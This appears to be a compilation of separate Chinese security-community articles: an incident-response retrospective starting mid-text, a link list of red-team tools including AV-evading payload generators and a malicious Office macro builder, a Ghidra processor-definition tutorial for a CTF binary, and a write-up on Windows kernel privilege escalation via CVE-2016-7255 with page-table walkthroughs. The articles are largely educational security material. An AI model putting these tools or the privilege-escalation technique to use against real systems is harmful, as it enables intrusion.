事实上，如果能够找到根本原因，那么解决方案更像是：
> 我们擦拭了这台笔记本电脑，更换了这台服务器，翻阅了这个证书。
而如果无法找到根本原因，解决方案更像是：“我们擦拭了所有的笔记本电脑，更换了所有的服务器，翻阅了所有的证书。”
发现事件的根本原因就像是一个非常重要的里程碑，它决定了事件将要发生的所有可能环境和情绪，以及它是否会走向不好的方向。如果无法发现根本原因，那么对于整个团队来说都可能是有一片乌云徘徊在头顶，使所有人都显得慌张不安，进而感到工作十分困难。因此，不管你的团队是大还是小
– 重要的是经常进行危机演练。
结论：进行常规情况和红蓝对抗练习。这时你们需要将随机错误提供赏金或漏洞披露视为非常有风险的做法。并且在练习场景中，你不能进行控制，你不是无所不知，正确的日志不存在，你并不能理解很多问题，从现在开始与你的团队战斗。
**3、攻击者将可能针对家庭进行持续很长时间的攻击。**
“带自己的设备”通常用于明确描述员工对组织带来的风险，但这其实并不能很好地描述针对组织内的个人的直接攻击。
今年涉及APT团体的事件很多都是将攻击直接集中在员工的个人电子邮件和终端上。这就使得不管他们是在个人帐户和设备上共享凭据或访问令牌，还是从家里访问公司帐户，或者他们在办公室出现他们的个人设备这都显得无关紧要。
但往往了解从员工家到企业资产的横向移动是非常困难的，手动的去跟进员工是调查的主要方式。目前一个常见的趋势是从对个人帐户和未在公司网络上使用的设备的攻击获取共享密码，但其相关的凭证是进行托管的。
此外（这归因于“零根本原因”）工程师可能将敏感的凭证存储在他们自己的个人云基础设施中以远程调试生产基础设施中，而这很可能是具有高风险性的。
结论：这需要寻找改善员工在家中进行安全防护的方法，对他们进行补贴要求他们使用密码管理器，MFA硬件或任何其他你可以获得的。推动他们和你的安全团队进行多沟通，如果他们有个人安全问题或在下班时看到不良行为，对他们进行教导并使他们能够保护自己的家人免受威胁。
**4、比特币成为了重要目标，即使你可能并不拥有它**
比特币平台越来越多的受到攻击，而很多黑客们很可能去访问或者参与到比特币公司中去，因此这需要你非常的注意。有关这种趋势的更多信息，或者[SendGrid博客](https://magoo.github.io/Blockchain-Graveyard/)上的公共示例，请参考[Blockchain
Graveyard](https://sendgrid.com/blog/phishing-attack-rocks-the-btc-community/)。
结论：如果你深深的依赖着合作伙伴的技术，那么你首先要做的是去管理这种风险。而如果你是一个比特币公司，那么你可能需要尽可能的去限制除了您的合作伙伴的访问。
**5、复杂性往往意味着你的“轻视”**
今年的许多事件公告都将“复杂的攻击者”作为他们的问题的叙述。而这样做往往会导致外界大量的批评，这看起来就像是他们表现出的妥协已经暴露了。
其实大多数漏洞都开始于鱼叉式网络钓鱼，商品漏洞，泄漏密钥或其他一些明显或的可预防的细节。
然而，这些往往都不是大家去认为感到“复杂”的方面。实际上这些一开始看起来令人有些犯“尴尬癌”的攻击方式，往往在其最终的攻击出现后尽皆消散。
因此，不要通过他们选择的最初攻击向量来判断对手，他们很可能在最终告诉你真正“复杂”的那一面。
例如，虽然初始向量可能不是显着的或有趣的，但攻击者从单独的平台进行入侵访问或获取凭证就可以发现一些让他们为之心动的内容。
结论：“复杂的”攻击者往往不会在最初的入侵上努力，展现他们的肌肉，因此不要低估那些初期看起来并不成熟的攻击，对手总是会尽最大的努力。这个目前正在运行的钓鱼攻击很可能会跟着一个你不知道的新的0Day。
**6、管理好你的隐私和密钥**
隐私管理的好坏是公司是否遭受安全事件的一个重要分水岭。在过去的一年里我并没有接触到任何一家进行了严格的隐私管理的公司出现过安全事故，而这可能意味着安全事件在这种情况下发生的并不多，或者说不足以需要我这样的人来进行咨询。
事实上，存储在源代码中的密钥、泄露的云平台记录、没有采取任何安全措施的员工端或个人设备，甚至是复制粘贴到gist和pastebin中的对我来说都是意味着一件事，隐私以及密钥的管理存在着严重的疏漏，而这将可能导致攻击者进一步的扩大破坏程度。
结论：认真的去了解你所使用的云平台，避免将秘密、隐私放在源代码中，尽量让真正的隐私远离开发人员，并能够快速而频繁地去进行更换密钥。
**7、窃取证书仍然是最容易的做法**
在正常的进行信息传递时，组织内应该要尽可能去避免密码的重复使用，尤其是高层领导间，但在过去的一年里，仍然发生了几起。并且最为重要的是，这种意识的不到位造成的结果就是相关登陆凭证的丢失。
而很多身份管理商正是在这方面进行了拓展，将管理凭据与登录过程在云产品上进行了集成，我没有对任何在企业对身份解决方案中破坏MFA的事件进行回应，当单点登录集成不是一个选项时，在每个产品中查找MFA选项并执行它们也是一个主要的缓解步骤。
特别强调一下GitHub是非常必要的，因为很多团队经常将秘密存储在源代码中，这时就可以通过强制的MFA对团队进行保护，直到更好的秘密存储选项由团队同意了进行。
**8、内部威胁其实是有一些模式可循的**
我在今年的工作遇到的最小的问题是涉及到内部威胁的情况。其实每个内部人员出现问题时都在一个已知的动机范围内，这一点我已经在好几年都见过了了，2016年也不例外。
比如那些非常关注硅谷创业文化的人，他们在与媒体接触然后引起媒体关注到一些创业公司方面的做法其实非常具有典型性。
具体来说，这其实就是使用了一个内部威胁模型：
> 如果我现在给科技新闻进行曝光，也许他们就会把这个写成是我的科技创业想法。
虽然这是一个相当具体的模型，但是技术公司的员工真的很喜欢泄漏IP和产品信息来获得这种结果。
这其实是非常常见的情况，完全可以考虑将其作为一种内部威胁的发展趋势类型。并且这是很难防御的，因为这些通常是雇员们不需要太多的信任就可以发生泄漏的现象，很并且难给予广泛适用的预防建议，所以大多数CEO都会选择对员工透明，并接受这种风险。
我看到的第二个模式是内部的客户支持工具。一旦你选择了一定数量的员工可以访问管理工具，其中很可能就有一个员工是内鬼，与他人串通。
**9、努力去衡量和消除你的债务**
我今年协助的所有组织都有一个不正常的情况就是存在技术债务。这使我不得不相信，将“债务”问题作为工程过程的一部分进行考虑的公司通常是拥有严格纪律的组织，也就会使得其具有较低的风险。而这也就是为什么，他们可以积极竞争、冒险甚至是灵活的进行业务转换。
实际上，从开发到产品成功发布期间，公司之间主要的差异就在于他们如何记录债务，并对他们的债务水平进行一个“回顾”，然后偿还债务。
我很少看到一个团队能够完全消除所有的债务，但至少不尊重债务的组织从来没有走远的，因为这会使得他们不能再在违约中得到帮助。债务其实有多种形式：规模，开发速度，现场可靠性，客户流失，自动化之前的手动工作量和安全性。
问题是安全债务沉默。每一种其他形式的债务导致错误，客户投诉，费用和工程师出现状况。安全债务只会导致违约，几乎不可能量化，因此它需要手动工作量或技术线索来表现安全债务。
一个完全掌握债务的工程组织如果在一个公司出现是非常罕见的，但这其实是一个很好的状况，表明这是一个安全性高的组织。
我很少在实践中看到这一点，但这种水平的工程的出现毫无疑问是一个公司可能成为伟大的迹象。Google就是这样的一家公司，围绕其发布实践构建了“错误债务”，并围绕它制定了政策，这是我发现的使“债务”成为要衡量和解决的客观问题的最好的例子之一。
实际上大多数工程组织不知道他们的一些基本流程（回顾，验尸）帮助他们避免大量债务。
本文为嘶吼编辑编译，如若转载，请注明来源于嘶吼： http://www.4hou.com/special/2572.html | 社区文章 |
如题：
### 以下内容来自飞侠锅 (๑•̀ㅂ•́)و✧
Veil is a tool designed to generate metasploit payloads that bypass common
anti-virus solutions：[链接](https://github.com/Veil-Framework/Veil)
Ruby Exploitation(Rex) library for dealing with Powershell Scripts. This
Library is designed to help create and manipulate powershell scripts for use
with Metasploit exploits：[链接](https://github.com/rapid7/rex-powershell)
利用dotnethooking技术来提供对利用powershell进行渗透测试的检测能力：[链接](https://github.com/tandasat/DotNetHooking/blob/master/Slides/CodeBlue_1110.pdf)
Luckystrike - A PowerShell based utility for the creation of malicious Office
macro documents：[链接](http://www.kitploit.com/2017/09/luckystrike-powershell-based-utility.html?m=1)
如何设置一个钓鱼服务器：[链接](https://github.com/n0pe-sled/Postfix-Server-Setup)
### 以下内容来自re4lity (๑•̀ㅂ•́)و✧
Red Team的基础设施构建：[链接](https://posts.specterops.io/designing-effective-covert-red-team-attack-infrastructure-767d4289af43)
### 以下内容来自宝宝
Reviewing the APT32 phishing malware
[链接](https://blog.xpnsec.com/apt32-phishing-malware/) | 社区文章 |
## 前言
Ghidra提供了创建Processor的功能，这篇文章以强网杯2020年初赛的[QWBLogin](https://github.com/Ma3k4H3d/2020-QWB-PWN/blob/master/QWBlogin.zip)为例，介绍如何创建一个Processor，将二进制代码翻译为汇编
## 准备
### 安装Eclipse
为了创建一个Processor，首先需要安装[Eclipse](https://www.eclipse.org/downloads/)，这里安装的过程就不多说了
### 安装GhidraDev插件
插件的路径在Ghidra的安装目录下 Extensions/Eclipse/GhidraDev/GhidraDev-2.1.1.zip
具体安装的步骤
* Click Help → Install New Software...
* Click Add...
* Click Archive...
* Select GhidraDev zip file from <ghidrainstalldir>/Extensions/Eclipse/GhidraDev/</ghidrainstalldir>
* Click OK (name field can be blank)
* Check Ghidra category (or GhidraDev entry)
* Click Next
* Click Next
* Accept the terms of the license agreement
* Click Finish
* Click Install anyway
* Click Restart Now
### 创建项目
选择File->New->Project，然后再选择Ghidra Module Project
起一个项目名字
下一个，只选择Processor
然后选择Ghidra安装的目录
data/languages目录下有Processor相关的示例文件
这里建议将文件名修改一下，将skel修改为qwbvm（File->Rename)
## Processor定义
因为这是一个Ghidra教程而不是QWBLogin这道题的writeup，因此这里跳过逆向过程，直接给出Processor各种指令的定义
### 指令结构
以下是指令的格式，x1和x2不一定有，而且长度也不定
+-----------------------+-------------+-----------+-----------+-----------+
|opcode | inst_switch | length | x1 | x2 |
+-----------------------+-------------+-----------+-----------+-----------+
+-----------------------+-------------+-----------+-----------+-----------+
|1byte | 4bit | 4bit | ? | ? |
+-----------------------+-------------+-----------+-----------+-----------+
### 指令表
指令 | opcode | inst_switch | length | x1 | x2
---|---|---|---|---|---
halt | 0 | 0 | | |
mov x1, x2 | 1 | 0 | [1-4] | reg | reg
mov x1, bss[x2] | 1 | 1 | [1-4] | reg | imm64
mov bss[x1], x2 | 1 | 2 | [1-4] | imm64 | reg
mov x1, stack[x2] | 1 | 3 | [1-4] | reg | imm64
mov stack[x1], x2 | 1 | 4 | [1-4] | imm64 | reg
mov x1, x2 | 1 | 5 | [1-4] | reg | imm
mov bss[x1],x2 | 1 | 0xb | [1-4] | reg | reg
mov x1, bss[x2] | 1 | 0xc | [1-4] | reg | reg
mov stack[x1],x2 | 1 | 0xd | [1-4] | reg | reg
mov x1, stack[x2] | 1 | 0xe | [1-4] | reg | reg
add x1, x2 | 2 | 0 | [1-4] | reg | reg
add x1, x2 | 2 | 5 | [1-4] | reg | imm
dec x1, x2 | 3 | 0 | [1-4] | reg | reg
dec x1, x2 | 3 | 5 | [1-4] | reg | imm
mul x1, x2 | 4 | 0 | [1-4] | reg | reg
mul x1, x2 | 4 | 5 | [1-4] | reg | imm
div x1, x2 | 5 | 0 | [1-4] | reg | reg
div x1, x2 | 5 | 5 | [1-4] | reg | imm
mod x1, x2 | 6 | 0 | [1-4] | reg | reg
mod x1, x2 | 6 | 5 | [1-4] | reg | imm
xor x1, x2 | 7 | 0 | [1-4] | reg | reg
xor x1, x2 | 7 | 5 | [1-4] | reg | imm
or x1, x2 | 8 | 0 | [1-4] | reg | reg
or x1, x2 | 8 | 5 | [1-4] | reg | imm
and x1, x2 | 9 | 0 | [1-4] | reg | reg
and x1, x2 | 9 | 5 | [1-4] | reg | imm
shl x1, x2 | 10 | 0 | [1-4] | reg | reg
shl x1, x2 | 10 | 5 | [1-4] | reg | imm
shr x1, x2 | 11 | 0 | [1-4] | reg | reg
shr x1, x2 | 11 | 5 | [1-4] | reg | imm
not x1 | 12 | 6 | [1-4] | reg |
pop x1 | 13 | 6 | [1-4] | reg |
push x1 | 14 | 6 | [1-4] | reg |
call x1 | 16 | 6 | | reg |
call x1 | 16 | 7 | | reladdr |
ret | 17 | | | |
cmp x1, x2 | 18 | 0 | [1-4] | reg | reg
cmp x1, x2 | 18 | 5 | [1-4] | reg | imm
jmp x1 | 19 | 6 | | reg |
jmp x1 | 19 | 7 | | reladdr |
jmp bss[x1] | 19 | 8 | | imm64 |
syscall | 32 | | |
表中省略了一部分指令，为je/jne/jle/jg/jl/jge/jbe/ja/jnb/jb，和jmp基本一样，除了opcode，opcode的值从20到29
### 寄存器
寄存器 | 定义
---|---
r0-r15 | 普通寄存器
sp | 栈寄存器
pc | 程序计数寄存器
## 创建Processor
可以看到目录下面有7个文件，每个文件的作用都不太一样
* qwbvm.cspec 编译器定义，例如调用约定的设置，栈寄存器是哪个
* qwbvm.ldefs 语言的定义，例如大小端，位宽
* qwbvm.opinion 定义可以使用的加载器，例如ELF、PE加载器
* qwbvm.pspec 处理器定义，定义寄存器，各种变量
* qwbvm.sinc, qwbvm.slaspec 定义寄存器，指令等，大部分时间都花在这两个文件上
接下来一个个修改文件吧
### qwbvm.pspec
首先来定义寄存器，定义了pc和r0-r15寄存器
<?xml version="1.0" encoding="UTF-8"?>
<!-- See Relax specification: Ghidra/Framework/SoftwareModeling/data/languages/processor_spec.rxg -->
<processor_spec>
<programcounter register="pc"/>
<register_data>
<register name="r0" group="Alt"/>
<register name="r1" group="Alt"/>
<register name="r2" group="Alt"/>
<register name="r3" group="Alt"/>
<register name="r4" group="Alt"/>
<register name="r5" group="Alt"/>
<register name="r6" group="Alt"/>
<register name="r7" group="Alt"/>
<register name="r8" group="Alt"/>
<register name="r9" group="Alt"/>
<register name="r10" group="Alt"/>
<register name="r11" group="Alt"/>
<register name="r12" group="Alt"/>
<register name="r13" group="Alt"/>
<register name="r14" group="Alt"/>
<register name="r15" group="Alt"/>
</register_data>
</processor_spec>
### qwbvm.cspec
这里定义调用约定，函数的前3个参数通过r0, r1, r2传递，返回值通过r0传递
<?xml version="1.0" encoding="UTF-8"?>
<!-- See Relax specification: Ghidra/Framework/SoftwareModeling/data/languages/compiler_spec.rxg -->
<compiler_spec>
<data_organization>
<pointer_size value="2" />
</data_organization>
<global>
<range space="ram"/>
</global>
<stackpointer register="SP" space="ram"/>
<default_proto>
<prototype name="__asmA" extrapop="2" stackshift="2" strategy="register">
<input>
<pentry minsize="1" maxsize="8">
<register name="r0"/>
</pentry>
<pentry minsize="1" maxsize="8">
<register name="r1"/>
</pentry>
<pentry minsize="1" maxsize="8">
<register name="r2"/>
</pentry>
</input>
<output>
<pentry minsize="1" maxsize="1">
<register name="r0"/>
</pentry>
</output>
</prototype>
</default_proto>
</compiler_spec>
### qwbvm.ldefs
修改processor的名字，位宽为64位，sla文件为qwbvm.sla，processor文件为qwbvm.pspec，compiler文件为qwbvm.cspec
<?xml version="1.0" encoding="UTF-8"?>
<!-- See Relax specification: Ghidra/Framework/SoftwareModeling/data/languages/language_definitions.rxg -->
<language_definitions>
<!-- Uncomment the following to make the language available in Ghidra -->
<language processor="qwbvm"
endian="little"
size="64"
variant="default"
version="1.0"
slafile="qwbvm.sla"
processorspec="qwbvm.pspec"
id="qwbvm:LE:64:default">
<description>QWB VM Language Module</description>
<compiler name="default" spec="qwbvm.cspec" id="default"/>
</language>
</language_definitions>
### qwbvm.opinion
这个是加载器的定义文件，但是因为我们加载的是纯二进制文件，这个文件不用改
### qwbvm.slaspec
首先定义几个内存空间, 分别为ram，bss，register，size都为8
define space ram type=ram_space size=8 default;
define space bss type=ram_space size=8;
define space register type=register_space size=8;
然后定义普通寄存器和特殊寄存器，contextreg是上下文寄存器，后面定义指令的时候会用到，辅助解析指令
define register offset=0x00 size=8 [r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15];
define register offset=0x100 size=8 [sp pc];
define register offset=0x200 size=8 contextreg;
最后把qwbvm.sinc include进来
@include "qwbvm.sinc"
完整的内容如下
define endian=little;
define alignment=1;
define space ram type=ram_space size=2 default;
define space bss type=ram_space size=2;
define space register type=register_space size=8;
define register offset=0x00 size=8 [r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15];
define register offset=0x100 size=8 [sp pc];
define register offset=0x200 size=8 contextreg;
# Include contents of qwbvm.sinc file
@include "qwbvm.sinc"
### qwbvm.sinc
前面定义完寄存器相关的内容，这里主要定义指令的格式
首先介绍一下token
#### token
token是组成instruction的元素，也就是说，首先需要将二进制指令解析为一个个token，然后由token组成instruction
token定义的格式如下，
tokenname是token的名字，括号里面的integer需要为8的整数，代表这个token有多少个bit
define token tokenname ( integer )
fieldname=(integer,integer) attributelist
...
;
这里是一个示例，定义了一个token，名字为opbyte，大小为8个bit，前6个bit为op，同时前4个bit也可以为rn，rm
define token opbyte(8)
op = (0, 5)
rn = (0, 3)
rm = (0, 3)
;
这里我们给出所有的token的定义
define token opbyte(8)
op = (0, 5)
rn = (0, 3)
rm = (0, 3)
;
define token oplength(8)
inst_switch = (0, 3)
data_length = (4, 6)
;
define token data8(8)
imm8 = (0, 7)
simm8 = (0, 7) signed
;
define token data16(16)
imm16 = (0, 15)
;
define token data32(32)
imm32 = (0, 31)
;
define token data64(64)
imm64_8 = (0, 7)
imm64_16 = (0, 15)
imm64_32 = (0, 31)
imm64 = (0, 63)
;
因为rn和rm是代表寄存器，因此我们把rn，rm映射为r0到r15
attach variables [rn rm] [r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15];
然后来定义我们第一个指令,halt，halt由两个token组成，opbyte和oplength，op需要等于0，然后后面紧接着的是 inst_switch
& data_length
:halt is op=0; inst_switch & data_length {}
多个token拼接需要用";"隔开，然后同一个token中的不同部分需要用“&”来组合，这个&同时可以理解为逻辑与，因为也可以用"|"来组合，可以理解为逻辑或
后面{} 是用来放PCode的，但是因为我们只是从二进制解析为指令，因此不需要Pcode
然后我们来翻译mov x1, x2这个指令，其中x1, x2都是reg，然后有1到4，四种长度
:mov "byte" rn, rm is op=1; inst_switch = 0 & data_length = 1 ; rn ; rm {}
:mov "word" rn, rm is op=1; inst_switch = 0 & data_length = 2 ; rn ; rm {}
:mov "dword" rn, rm is op=1; inst_switch = 0 & data_length = 3 ; rn ; rm {}
:mov "qword" rn, rm is op=1; inst_switch = 0 & data_length = 4 ; rn ; rm {}
其中"byte", "word"等在双引号里面的字符是代表纯字符串，没有其他含义，同样是字符的还有mov，而其他rn，rm等是需要在token中声明的
现在可以点击菜单里面的Run，运行测试一下，将题目附件中的test.bin文件拖入ghidra，会弹框让你选择processor，搜索qwbvm，然后确定
打开刚刚拖入的test.bin二进制文件，可以将05开始的代码反汇编为halt
还可以将0x1a8处的二进制反汇编为mov word r8,r1
我们再继续定义几个指令
:mov "byte" rn, "bss"[imm64] is op=1; inst_switch = 1 & data_length = 1 ; rn ; imm64 {}
:mov "word" rn, "bss"[imm64] is op=1; inst_switch = 1 & data_length = 2 ; rn ; imm64 {}
:mov "dword" rn, "bss"[imm64] is op=1; inst_switch = 1 & data_length = 3 ; rn ; imm64 {}
:mov "qword" rn, "bss"[imm64] is op=1; inst_switch = 1 & data_length = 4 ; rn ; imm64 {}
:mov "byte" "bss"[imm64], rn is op=1; inst_switch = 2 & data_length = 1 ; imm64; rn {}
:mov "word" "bss"[imm64], rn is op=1; inst_switch = 2 & data_length = 2 ; imm64 ; rn {}
:mov "dword" "bss"[imm64], rn is op=1; inst_switch = 2 & data_length = 3 ; imm64 ; rn {}
:mov "qword" "bss"[imm64], rn is op=1; inst_switch = 2 & data_length = 4 ; imm64 ; rn {}
这个时候我们发现每个指令都要根据不同的数据长度类型定义几个类似的指令，很麻烦，那么下面就介绍如何将其简化
观察各个指令，发现相同之处在于
"byte" xxxxx data_length = 1
"word" xxxxx data_length = 2
"dword" xxxxx data_length = 3
"qword" xxxxx data_length = 4
那么我们可以定义一个symbol，dl
dl: "" is data_length = 0 {}
dl: "byte" is data_length = 2 {}
dl: "dword" is data_length = 3 {}
dl: "qword" is data_length >= 4 {}
然后原来的指令就可以简化为
:mov dl rn, rm is op=1; inst_switch = 0 & dl ; rn ; rm {}
:mov dl rn, "bss"[imm64] is op=1; inst_switch = 1 & dl ; rn ; imm64 {}
:mov dl "bss"[imm64], rn is op=1; inst_switch = 2 & dl ; imm64; rn {}
再次运行，打开test.bin，反汇编0x1f7处的代码, 可以看到能成功反汇编出来
我们继续完善
:mov dl rn, "stack"[imm64] is op=1; dl & inst_switch=3 ; rn; imm64 {}
:mov dl "stack"[imm64], rn is op=1; dl & inst_switch=4 ; imm64; rn {}
:mov rn, imm8 is op=1; data_length = 1 & inst_switch = 5; rn; imm8 {}
:mov rn, imm16 is op=1; data_length = 2 & inst_switch = 5; rn; imm16 {}
:mov rn, imm32 is op=1; data_length = 3 & inst_switch = 5; rn; imm32 {}
:mov rn, imm64 is op=1; data_length = 4 & inst_switch = 5; rn; imm64 {}
但是发现mov rn, imm这个指令写起来比较麻烦，因为这个指令imm的长度依赖的是data_length，那能不能将其再简化一下呢？
这个时候我们引入另外一个东西，context
这里我们定义了一个context，contextreg，其中addrmode占3个bit
这个context的存在是因为有时候，处理器会根据不同的状态而解析出不一样的指令，例如arm中的thumb mode
define context contextreg
addrmode = (0,2)
;
定义了context之后，我们需要在适当的时候给它赋值，这里我们选择解析symbol dl的时候顺便给context赋值
dl: "" is data_length = 0 [addrmode = 1;]{}
dl: "byte" is data_length = 2 [addrmode = 2;]{}
dl: "dword" is data_length = 3 [addrmode = 3;]{}
dl: "qword" is data_length >= 4 [addrmode = 4;]{}
然后我们定义imm这个symbol
imm: imm8 is addrmode = 1; imm8 {}
imm: imm16 is addrmode = 2; imm16 {}
imm: imm32 is addrmode = 3; imm32 {}
imm: imm64 is addrmode = 4; imm64 {}
然后上面的指令就可以简化为
:mov dl rn, imm is op=1; dl & inst_switch = 5; rn; imm {}
后面还需要介绍的还有另外一个指令，call xxx，call指令是相对地址函数调用的，因此要获取当前指令的地址
我们可以定义rel这个symbol，然后里面的reloc是通过inst_next和imm计算出来的，而inst_next是ghidra自带的一个symbol，代表的就是下一个指令的地址
rel: reloc is simm8 & addrmode=1 [reloc = inst_next + simm8;] {}
rel: reloc is imm16 & addrmode=2 [reloc = inst_next + imm16;] {}
rel: reloc is imm32 & addrmode=3 [reloc = inst_next + imm32;] {}
rel: reloc is imm64 & addrmode=4 [reloc = inst_next + imm64;] {}
:call rel is op=0x10; inst_switch=7; rel {}
其他东西基本上都是大同小异，最后完整的processor定义如下
define token opbyte(8)
op = (0, 5)
rn = (0, 3)
rm = (0, 3)
;
define token oplength(8)
inst_switch = (0, 3)
data_length = (4, 6)
;
define token data8(8)
imm8 = (0, 7)
simm8 = (0, 7) signed
;
define token data16(16)
imm16 = (0, 15)
;
define token data32(32)
imm32 = (0, 31)
;
define token data64(64)
imm64_8 = (0, 7)
imm64_16 = (0, 15)
imm64_32 = (0, 31)
imm64 = (0, 63)
;
define context contextreg
addrmode = (0,2)
;
attach variables [rn rm] [r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15];
dl: "" is data_length=0 {}
dl: "byte" is data_length=1 [addrmode =1;]{}
dl: "word" is data_length=2 [addrmode =2;]{}
dl: "dword" is data_length=3 [addrmode =3;]{}
dl: "qword" is data_length>=4 [addrmode =4;]{}
imm: imm8 is addrmode=1 ; imm8 {}
imm: imm16 is addrmode=2 ; imm16 {}
imm: imm32 is addrmode=3 ; imm32 {}
imm: imm64 is addrmode=4 ; imm64 {}
rel: reloc is simm8 & addrmode=1 [reloc = inst_next + simm8;] {}
rel: reloc is imm16 & addrmode=2 [reloc = inst_next + imm16;] {}
rel: reloc is imm32 & addrmode=3 [reloc = inst_next + imm32;] {}
rel: reloc is imm64 & addrmode=4 [reloc = inst_next + imm64;] {}
addr: rn is inst_switch=6; rn {}
addr: rel is dl&inst_switch=7; rel {}
addr: "bss"[imm64] is inst_switch=8; imm64 {}
oprand: dl rn, rm is dl & inst_switch=0; rn; rm {}
oprand: dl rn, imm is dl & inst_switch=5; rn; imm {}
:halt is op=0; inst_switch & data_length {}
:mov dl rn, rm is op=1; dl & inst_switch=0 ; rn ; rm {}
:mov dl rn, "bss"[imm64] is op=1; dl & inst_switch=1 ; rn; imm64 {}
:mov dl "bss"[imm64], rn is op=1; dl & inst_switch=2 ; imm64; rn {}
:mov dl rn, "stack"[imm64] is op=1; dl & inst_switch=3 ; rn; imm64 {}
:mov dl "stack"[imm64], rn is op=1; dl & inst_switch=4 ; imm64; rn {}
:mov dl rn, imm is op=1; dl & inst_switch=5 ; rn; imm {}
:mov dl "bss"[rn], rm is op=1; dl & inst_switch=0xb ; rn; rm {}
:mov dl rn, "bss"[rm] is op=1; dl & inst_switch=0xc ; rn; rm {}
:mov dl "stack"[rn], rm is op=1; dl & inst_switch=0xd ; rn; rm {}
:mov dl rn, "stack"[rm] is op=1; dl & inst_switch=0xe ; rn; rm {}
:add oprand is op=2; oprand {}
:dec oprand is op=3; oprand {}
:mul oprand is op=4; oprand {}
:div oprand is op=5; oprand {}
:mod oprand is op=6; oprand {}
:xor oprand is op=7; oprand {}
:or oprand is op=8; oprand {}
:and oprand is op=9; oprand {}
:shl oprand is op=0xa; oprand {}
:shr oprand is op=0xb; oprand {}
:not dl rn is op=0xc; dl & inst_switch=6; rn {}
:pop dl rn is op=0xd; dl & inst_switch=6; rn {}
:push dl rn is op=0xe; dl & inst_switch=6; rn {}
:call rn is op=0x10; inst_switch=6; rn {}
:call rel is op=0x10; inst_switch=7; rel {}
:ret is op=0x11; inst_switch {}
:cmp dl rn, rm is op=0x12; dl & inst_switch=0; rn; rm {}
:cmp dl rn, imm is op=0x12; dl & inst_switch=5; rn ; imm {}
:jmp addr is op=0x13; addr {}
:je addr is op=0x14; addr {}
:jne addr is op=0x15; addr {}
:jle addr is op=0x16; addr {}
:jg addr is op=0x17; addr {}
:jl addr is op=0x18; addr {}
:jge addr is op=0x19; addr {}
:jbe addr is op=0x1a; addr {}
:ja addr is op=0x1b; addr {}
:jnb addr is op=0x1c; addr {}
:jb addr is op=0x1d; addr {}
:syscall is op=0x20; inst_switch {}
最后可以在0x100处反汇编出完整的指令 | 社区文章 |
# 【技术分享】CVE-2016-7255：Virtual Memory, Page Tables, and One Bit
|
##### 译文声明
本文是翻译文章，文章来源：ricklarabee.blogspot.com
原文地址：<http://ricklarabee.blogspot.com/2017/01/virtual-memory-page-tables-and-one-bit.html>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[Ox9A82](http://bobao.360.cn/member/contribute?uid=2676915949)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
在Google安全团队公布了一个本地提权漏洞的细节之后，我决定研究一下这个漏洞。这个漏洞通过win32k.sys的系统调用NtSetWindowLongPtr()把索引为GWLP_ID的Windows句柄由GWL_STYLE设置为WS_CHILD。
我在Twitter上找到了一个[CVE-2016-7255的PoC](https://github.com/tinysec/public/tree/master/CVE-2016-7255)。这个PoC演示了这个漏洞：在内核模式下，攻击者控制的地址被解引用并与0x4做逻辑或运算。
在Blackhat 2016上曾经发布过一个演示：[《Windows 10 Mitigation
Improvements》](https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf)，它展示了系统空间的PML4条目现在已经被随机化，而不再使用静态条目0x1ed。
在Zero Nights 2016上，Enrique Nissim公布了[POC](https://github.com/IOActive/I-know-where-your-page-lives/)和[议题](https://2016.zeronights.org/program/main-track/#4)：《I Know Where Your Page Lives – De-Randomizing the Latest Windows 10
Kernel and for Windows 10 anniversary
edition》。Enrique演示了如何确定在最新的Windows版本中已被随机化的PML4条目。
我使用了他这个PoC然后做了一些适配，可以在64位版本的Windows 7,8.1,10和Server 2012 R2上对同样的漏洞使用。
**我做的一些改变如下：**
1.将PML4自引用条目设置为静态条目0xFFFFF6FB7DBEDF68
2.调整shellcode以适配不同操作系统版本中的偏移量
3.给不同的操作系统设置了不同的覆盖（overwrite）目标
4.Win7 工作站 – 使用通用Hal Dispatch Table以及调用NtQueryIntervalProfile函数
5.Win8.1 工作站 – 使用HalpApicRequestInterrupt指针
6.Win 10 工作站（周年更新之前） – 使用HalpApicRequestInterrupt指针
7.Window Server 2012 R2 – 使用HalpApicRequestInterrupt指针
为了更好地理解这个漏洞和exploit的工作原理，我们需要首先看一下虚拟内存管理器是如何工作的。
**虚拟内存和页表**
要了解如何将虚拟地址映射到物理地址，可以参考AMD和Intel的开发者手册来了解有关映射和页表的内容。
键值位（译注：key bit，指具有特殊意义的bit，如下）会被后面的代码所使用。
读/写（R/W）位。 1号位 – 如果为0，则内存不允许写
用户/管理员（U/S）位。 2号位 – 如果为0，则不允许用户模式访问（ring 3）
不可执行（NX）位。 63号位 -如果为1，则内存不允许执行代码。
**跟踪一个虚拟地址到它物理地址的映射过程**
为了帮助大家理解如何映射一个虚拟地址到物理地址，我这里会使用windbg来展现映射过程。我这里使用的一个小程序，它的功能是在虚拟地址0x1000000上写入“A”。
虚拟地址：
**虚拟地址转换到物理地址**
在下面的例子中，我使用windbg作为内核调试器，然后把进程地址空间切换到用户进程的上下文中去。
!process 0 0 nameofexe.exe
.process /i <address of the process>
.reload /user
CR3寄存器用于查找PML4表的基地址
第一步是获取cr3寄存器的值：
“r cr3”0x1fddff000
这就是指向PML4表的物理地址。
使用虚拟地址的第47-39位* 8（每个地址是64位或8字节）来寻找页目录指针表的物理地址：0x1ff48867
**页目录指针表(Page Directory Pointer Table,PDP）**
现在使用PDP表的物理地址并将低12位（867）清零，这12个位会在页表（Page Table Entries table）中被引用。
0x1ff48000+虚拟地址的38-30位乘上8作为偏移，以找到页目录表（Page Directory
Table）的物理地址，结果是0x19d90867。
**页目录表（Page Directory Table）**
清零11-0位，得到物理地址：0x19d90000。
0x19d90000 + 虚拟地址的29-21位* 8得到页表（page table）的物理地址：0x1f491867。
**页表（Page Table）**
清零第11-0位，获得物理地址0x1f491000
0x1f491000+虚拟地址的第20-12位*8获得物理页的物理地址：0x20692867
**一个物理页中的偏移**
清零第11-0位，得到物理地址：0x20692000
